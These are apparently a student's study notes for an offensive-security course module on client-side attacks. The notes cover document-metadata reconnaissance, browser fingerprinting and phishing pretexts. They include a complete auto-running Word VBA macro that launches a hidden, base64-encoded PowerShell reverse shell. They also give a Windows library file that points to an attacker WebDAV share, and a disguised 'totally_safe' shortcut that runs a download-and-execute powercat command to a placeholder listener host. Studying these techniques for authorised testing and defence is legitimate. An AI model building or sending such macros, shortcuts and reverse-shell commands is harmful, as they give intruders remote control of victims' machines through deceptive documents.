Tree's Notes
  • Overview
  • Tools & Cheatsheets
  • Hacking Methodology
  • Hands-on Practice
  • Linux
    • Linux Basics
  • Windows
    • Windows Basics
  • MacOS
    • MacOS Basics
  • Web
    • Web Basics
  • Mobile
    • iOS
    • Android
  • OS Agnostic
    • Template
  • Courses
    • Hack The Box
      • Bug Bounty Hunter
        • Module 1: Web Requests
        • Module 2: Introduction to Web Applications
        • Module 3: Using Web Proxies
        • Module 4: Information Gathering - Web Edition
        • Module 5: Attacking Web Applications with Ffuf
        • Module 6: JavaScript Deobfuscation
        • Module 7: Cross-Site Scripting (XSS)
        • Module 8: SQL Injection Fundamentals
        • Module 9: SQLMap Essentials
        • Module 10: Command Injections
        • Module 11: File Upload Attacks
        • Module 12: Server-Side Attacks
        • Module 13: Login Brute Forcing
        • Module 14: Broken Authentication
        • Module 15: Web Attacks
        • Module 16: File Inclusion
        • Module 17: Session Security
        • Module 18: Web Service & API Attacks
        • Module 19: Hacking Wordpress
        • Module 20: Bug Bounty Hunting Process
    • OffSec
      • 🦊EXP-301
        • Module 1: Windows User Mode Exploit Development: General Course Information
        • Module 2: WinDbg and x86 Architecture
        • Module 3: Exploiting Stack Overflows
        • Module 4: Exploiting SEH Overflows
        • Module 5: Introduction to IDA Pro
        • Module 6: Overcoming Space Restrictions: Egghunters
        • Module 7: Creating Custom Shellcode
        • Module 8: Reverse Engineering for Bugs
        • Module 9: Stack Overflows and DEP Bypass
        • Module 10: Stack Overflows and ASLR Bypass
        • Module 11: Format String Specifier Attack Part I
        • Module 12: Format String Specifier Attack Part II
        • Module 13: Trying Harder: The Labs
      • 🐙EXP-312
        • Module 1: macOS Control Bypasses: General Course Information
        • Module 2: Virtual Machine Setup Guide
        • Module 3: Introduction to macOS
        • Module 4: macOS Binary Analysis Tools
        • Module 5: The Art of Crafting Shellcodes
        • Module 6: The Art of Crafting Shellcodes (Apple Silicon Edition)
        • Module 7: Dylib Injection
        • Module 8: The Mach Microkernel
        • Module 9: XPC Attacks
        • Module 10: Function Hooking on macOS
        • Module 11: The macOS Sandbox
        • Module 12: Bypassing Transparency, Consent, and Control (Privacy)
        • Module 13: GateKeeper Internals
        • Module 14: Bypassing GateKeeper
        • Module 15: Symlink and Hardlink Attacks
        • Module 16: Injecting Code into Electron Applications
        • Module 17: Getting Kernel Code Execution
        • Module 18: Mach IPC Exploitation
        • Module 19: macOS Penetration Testing
        • Module 20: Chaining Exploits on macOS Ventura
        • Module 21: Mount(ain) of Bugs (archived)
      • ⚓IR-200
        • Module 1: Incident Response Overview
        • Module 2: Fundamentals of Incident Response
        • Module 3: Phases of Incident Response
        • Module 4: Incident Response Communication Plans
        • Module 5: Common Attack Techniques
        • Module 6: Incident Detection and Identification
        • Module 7: Initial Impact Assessment
        • Module 8: Digital Forensics for Incident Responders
        • Module 9: Incident Response Case Management
        • Module 10: Active Incident Containment
        • Module 11: Incident Eradication and Recovery
        • Module 12: Post-Mortem Reporting
        • Module 13: Incident Response Challenge Labs
      • 🐉PEN-103
      • 🐲PEN-200
        • Module 1: Copyright
        • Module 2: Penetration Testing with Kali Linux: General Course Information
        • Module 3: Introduction to Cybersecurity
        • Module 4: Effective Learning Strategies
        • Module 5: Report Writing for Penetration Testers
        • Module 6: Information Gathering
        • Module 7: Vulnerability Scanning
        • Module 8: Introduction to Web Application Attacks
        • Module 9: Common Web Application Attacks
        • Module 10: SQL Injection Attacks
        • Module 11: Client-side Attacks
        • Module 12: Locating Public Exploits
        • Module 13: Fixing Exploits
        • Module 14: Antivirus Evasion
        • Module 15: Password Attacks
        • Module 16: Windows Privilege Escalation
        • Module 17: Linux Privilege Escalation
        • Module 18: Port Redirection and SSH Tunneling
        • Module 19: Tunneling Through Deep Packet Inspection
        • Module 20: The Metasploit Framework
        • Module 21: Active Directory Introduction and Enumeration
        • Module 22: Attacking Active Directory Authentication
        • Module 23: Lateral Movement in Active Directory
        • Module 24: Enumerating AWS Cloud Infrastructure
        • Module 25: Attacking AWS Cloud Infrastructure
        • Module 26: Assembling the Pieces
        • Module 27: Trying Harder: The Challenge Labs
      • 🛜PEN-210
        • Module 1: IEEE 802.11
        • Module 2: Wireless Networks
        • Module 3: Wi-Fi Encryption
        • Module 4: Linux Wireless Tools, Drivers, and Stacks
        • Module 5: Wireshark Essentials
        • Module 6: Frames and Network Interaction
        • Module 7: Aircrack-ng Essentials
        • Module 8: Cracking Authentication Hashes
        • Module 9: Attacking WPS Networks
        • Module 10: Rogue Access Points
        • Module 11: Attacking Captive Portals
        • Module 12: Attacking WPA Enterprise
        • Module 13: bettercap Essentials
        • Module 14: Determining Chipsets and Drivers
        • Module 15: Kismet Essentials
        • Module 16: Manual Network Connections
      • 🔗PEN-300
        • Module 1: Evasion Techniques and Breaching Defenses: General Course Information
        • Module 2: Operating System and Programming Theory
        • Module 3: Client Side Code Execution With Office
        • Module 4: Phishing with Microsoft Office
        • Module 5: Client Side Code Execution With Windows Script Host
        • Module 6: Reflective PowerShell
        • Module 7: Process Injection and Migration
        • Module 8: Introduction to Antivirus Evasion
        • Module 9: Advanced Antivirus Evasion
        • Module 10: Application Whitelisting
        • Module 11: Bypassing Network Filters
        • Module 12: Linux Post-Exploitation
        • Module 13: Kiosk Breakouts
        • Module 14: Windows Credentials
        • Module 15: Windows Lateral Movement
        • Module 16: Linux Lateral Movement
        • Module 17: Microsoft SQL Attacks
        • Module 18: Active Directory Exploitation
        • Module 19: Attacking Active Directory
        • Module 20: Combining the Pieces
        • Module 21: Trying Harder: The Labs
      • ⚛️SEC-100
      • 🛡️SOC-200
        • Module 1: Introduction to SOC-200
        • Module 2: Attacker Methodology Introduction
        • Module 3: Windows Endpoint Introduction
        • Module 4: Windows Server Side Attacks
        • Module 5: Windows Client-Side Attacks
        • Module 6: Windows Privilege Escalation
        • Module 7: Windows Persistence
        • Module 8: Linux Endpoint Introduction
        • Module 9: Linux Server Side Attacks
        • Module 10: Linux Privilege Escalation
        • Module 11: Network Detections
        • Module 12: Antivirus Alerts and Evasion
        • Module 13: Active Directory Enumeration
        • Module 14: Network Evasion and Tunneling
        • Module 15: Windows Lateral Movement
        • Module 16: Active Directory Persistence
        • Module 17: SIEM Part One: Intro to ELK
        • Module 18: SIEM Part Two: Combining the Logs
        • Module 19: Trying Harder: The Labs
      • TH-200
        • Module 1: Threat Hunting Concepts and Practices
        • Module 2: Threat Actor Landscape Overview
        • Module 3: Communication and Reporting for Threat Hunters
        • Module 4: Hunting With Network Data
        • Module 5: Hunting on Endpoints
        • Module 6: Theat Hunting Without IoCs
        • Module 7: Threat Hunting Challenge Labs
      • 🦉WEB-200
        • Module 1: Introduction to WEB-200
        • Module 2: Tools (archived)
        • Module 3: Web Application Enumeration Methodology
        • Module 4: Introduction to Burp Suite
        • Module 5: Cross-Site Scripting Introduction and Discovery
        • Module 6: Cross-Site Scripting Exploitation and Case Study
        • Module 7: Cross-Origin Attacks
        • Module 8: Introduction to SQL
        • Module 9: SQL Injection
        • Module 10: Directory Traversal Attacks
        • Module 11: XML External Entities
        • Module 12: Server-side Template Injection - Discovery and Exploitation
        • Module 13: Command Injection
        • Module 14: Server-side Request Forgery
        • Module 15: Insecure Direct Object Referencing
        • Module 16: Assembling the Pieces: Web Application Assessment Breakdown
      • 🕷️WEB-300
        • Module 1: Introduction
        • Module 2: Tools & Methodologies
        • Module 3: ManageEngine Applications Manager AMUserResourcesSyncServlet SSQL Injection RCE
        • Module 4: DotNetNuke Cookie Deserialization RCE
        • Module 5: ERPNext Authentication Bypass and Remote Code Execution
        • Module 6: openCRX Authentication Bypass and Remote Code Execution
        • Module 7: openITCOCKPIT XSS and OS Command Injection - Blackbox
        • Module 8: Concord Authentication Bypass to RCE
        • Module 9: Server-Side Request Forgery
        • Module 10: Guacamole Lite Prototype Pollution
        • Module 11: Dolibarr Eval Filter Bypass RCE
        • Module 12: RudderStack SQLi and Coraza WAF Bypass
        • Module 13: Conclusion
        • Module 14: ATutor Authentication Bypass and RCE (archived)
        • Module 15: ATutor LMS Type Juggling Vulnerability (archived)
        • Module 16: Atmail Mail Server Appliance: from XSS to RCE (archived)
        • Module 17: Bassmaster NodeJS Arbitrary JavaScript Injection Vulnerability (archived)
    • SANS
      • FOR572
Powered by GitBook
On this page
  • Target Reconnaissance
  • Information Gathering
  • Client Fingerprinting
  • Exploiting Microsoft Office
  • Preparing the Attack
  • Installing Microsoft Office
  • Leveraging Microsoft Word Macros
  • Abusing Windows Library Files
  • Obtaining Code Execution via Windows Library Files
Edit on GitHub
  1. Courses
  2. OffSec
  3. PEN-200

Module 11: Client-side Attacks

PreviousModule 10: SQL Injection AttacksNextModule 12: Locating Public Exploits

Last updated 8 months ago

Target Reconnaissance

Information Gathering

One approach to information gathering without interacting with a target is to inspect the metadata tags of publicly-available documents associate with the target organization. It can be santizied, but often isn't. Documents found may be outdated as well. To do this, we can use the exiftool tool. Example: exiftool -a -u file.pdf

Switch
Explanation

-a

display duplicated tags

-u

display unknown tags

We can also utilize google dorking with a search like site:example.com filetype:pdf.

If we are fine interacting with the target's website, we can use gobuster with the -x parameter to search for specific file extensions. Be aware, this is noisy and will generate log entries on the target.

Client Fingerprinting

Client Fingerprinting, also known as Device Fingerprinting involves obtaining operating system and brownser information to determine what that device is.

is a free web service that generates a link with an embedded token. This will gather information about the browser, IP address, and operating system when clicked.

There are some additional options like the online IP logger Grabify or JavaScript fingerprinting libraries such as fingerprint.js.

Exploiting Microsoft Office

Preparing the Attack

With Office macro attacks being so common, email providers and spam filter solutions often filter out all Microsoft Office documents by default. Additionally, most anti-phishing training programs stress the danger of enabling macros in an email Office document.

To provide an increase chance of the target opening our malicious document, pretext and other ways to access teh file are crucial. Examples being download links, Sharepoint/OneDrive share links, etc.

These files, if successfully sent to the targe twill be tagged with the Mark of the Web (MOTW). Documents tagged with MOTW will open in Protected View, disabling all editing and modiification settings in the document and blocks macro execution or embedded objects. The user will also be presented with the SECURITY WARNING banner, with the option to Enable Content.

Installing Microsoft Office

Nothing to add, it's installing Microsoft Office...

Leveraging Microsoft Word Macros

Creating macros in Word: View > Macros. Make sure the file is saved as a .doc or .docm so the macros are persistent.

A new macro consists of an empty sub procedure containing several lines beginning with an apostrophe, which marks the start of a single-line comment in VBA.

Sub MyMacro()
'
' MyMacro Macro
'
'

End Sub

We'll be leveraging ActiveX Objects, which provide access to underlying operating system commands. This can be achieve with WScript through the Windows Script Host Shell object. After instantiating a Windows Script Host Shell object with CreateObject, we can invoke the Run method for Wscript.Shell to launch an application. In this example, we'll start a PowerShell window.

Sub MyMacro()
    CreateObject("Wscript.Shell").Run "powershell"
End Sub

Office macros are not executed automatically, so we must use teh predefined AutoOpen macro and Document_Open event.

Sub AutoOpen()
    MyMacro
End Sub
Sub Document_Open()
    MyMacro
End Sub
Sub MyMacro()
    CreateObject("Wscript.Shell").Run "powershell"
End Sub

Note: VBA has a 255-character limit for literal strings and therefore, we can't just embed the base64-encoded PowerShell commands as a single string in the example of a powercat reverse shell. This restriction does not apply to strings stored in variables, so we can split the commands into multiple lines (stored in strings) and concatenate them.

Sub AutoOpen()
    MyMacro
End Sub
Sub Document_Open()
    MyMacro
End Sub
Sub MyMacro()
    Dim Str as String
    CreateObject("Wscript.Shell").Run Str
End Sub

Now let's generate the base64'd powercat reverse listener: echo -ne "IEX(New-Object System.Net.WebClient).DownloadString('http://your.listener.ip.here:port/powercat.ps1');powercat -c your.listener.ip.here -p port -e powershell" | base64 Run a simple python script to break it up into the multiple variables for the VBA script:

str = "powershell.exe -nop -w hidden -e SUVYKE5ldy1PYmplY3QgU3lzdGVtLk..."

n = 50
for i in range(0, len(str), n):
    print("Str = Str + " + '"' + str[i:i+n] + '"')

Having now split the base64-encoded string into smaller chunks, we can update our macro:

Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str as String
    Str = Str + "powershell.exe -nop -w hidden -e SUVYKE5ldy1PYmplY"
        Str = Str + "3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5"
        Str = Str + "nKCdodHRwOi8veW91ci5saXN0ZW5lci5pcC5oZXJlOnBvcnQvc"
        Str = Str + "G93ZXJjYXQucHMxJyk7cG93ZXJjYXQgLWMgeW91ci5saXN0ZW5"
        Str = Str + "lci5pcC5oZXJlIC1wIHBvcnQgLWUgcG93ZXJzaGVsbA=="

    CreateObject("Wscript.Shell").Run Str
End Sub

Abusing Windows Library Files

Obtaining Code Execution via Windows Library Files

For this section, we'll be utilizing a WebDAV share to host the payload in the form of a .lnk shortcut file for executing a PowerShell reverse shell. The reason we'll be using the WebDAV share and the .Library-ms library file is because a majority of spam filters and security technologies will pass Windows library files directly to the user. After opening it, the user will be taken to our malicious .lnk file.

First, we'll install WsgiDAV with pip3. pip3 install wsgidav If the installation of WsgiDAV fails with error: externally-managed-environment, we can use a virtual environment or install the package python3-wsgidav with apt.

Next we'll run WsgiDAV from the /home/kali/.local/bin directory.

mkdir /home/kali/webdav
touch /home/kali/webdav/test.txt
/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
Switch
Explanation

--host

Specifies the host to server from

--port

The port to listen on

--auth

disable authentication when set to anonymous

--root

Setting the root directory of the WebDAV share

Library files consist of three major parts and are written in XML to specify parameters for accessing remote locations.

  1. General library information

  2. Library properties

  3. Library Description Schema

Start by creating a new file named config.Library-ms. Important Tags and their use will be covered in each code sample section: The namespace for the library file.

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">

</libraryDescription>

The name tag: Specifies the name of the library. Examples: @shell32.dll,-34575 or @windows.storage.dll,-34582. The version tag: Any numerical value.

<name>@windows.storage.dll,-34582</name>
<version>6</version>

The isLibraryPinned tag: specifies if the library is pinned to the navigation pane in Windows Explorer. This may make it appear more genuine if set to true. The iconReference: determines what icon is used.

<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>

The templateInfo and folderType tags: These determine columns and details that appear in Windows Explorer. A GUID must be specified. The example will use the Documents GUID.

<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>

The searchConnectorDescriptionList tag: Contains a list of search connectors defined by searchConnectorDescription. These are used by library files to specify the connection settings. The isDefaultSaveLocation tag: Determines the behavior of Windows Explorer when a user chooses to save an item. Default behavior is a value of true. The isSupported tag: Used for compatability -- not documented in the Microsoft Documentation webpage. The url tag: Points to the remote location. The simpleLocation tags: contain the url tag. Can specify the remote location in a more user-friendly way as the normal locationProvider element.

<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://your.listener.ip.here:port</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>

Final code:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://your.listener.ip.here:port</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

Creating the malicious .lnk:

  1. Create Shortcut

  2. Set the location to powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://your.listener.ip.here:port/powercat.ps1'); powercat -c your.listener.ip.here -p port -e powershell"

  3. Name it totally_safe.

  4. Click Finish

After that, start up a python3 web server in the directory hosting the powercat script and a netcast listener on the port you chose. Double clicking the document and enabling content will download powercat and execute the reverse listener. If you run into any issues with that like I did, take a look at using this python script from glowbase. . Additionally, if this will be running on a Windows device, ensure the command is UTF16LE (1200) encoded.

🐲
Canarytokens
https://github.com/glowbase/macro_reverse_shell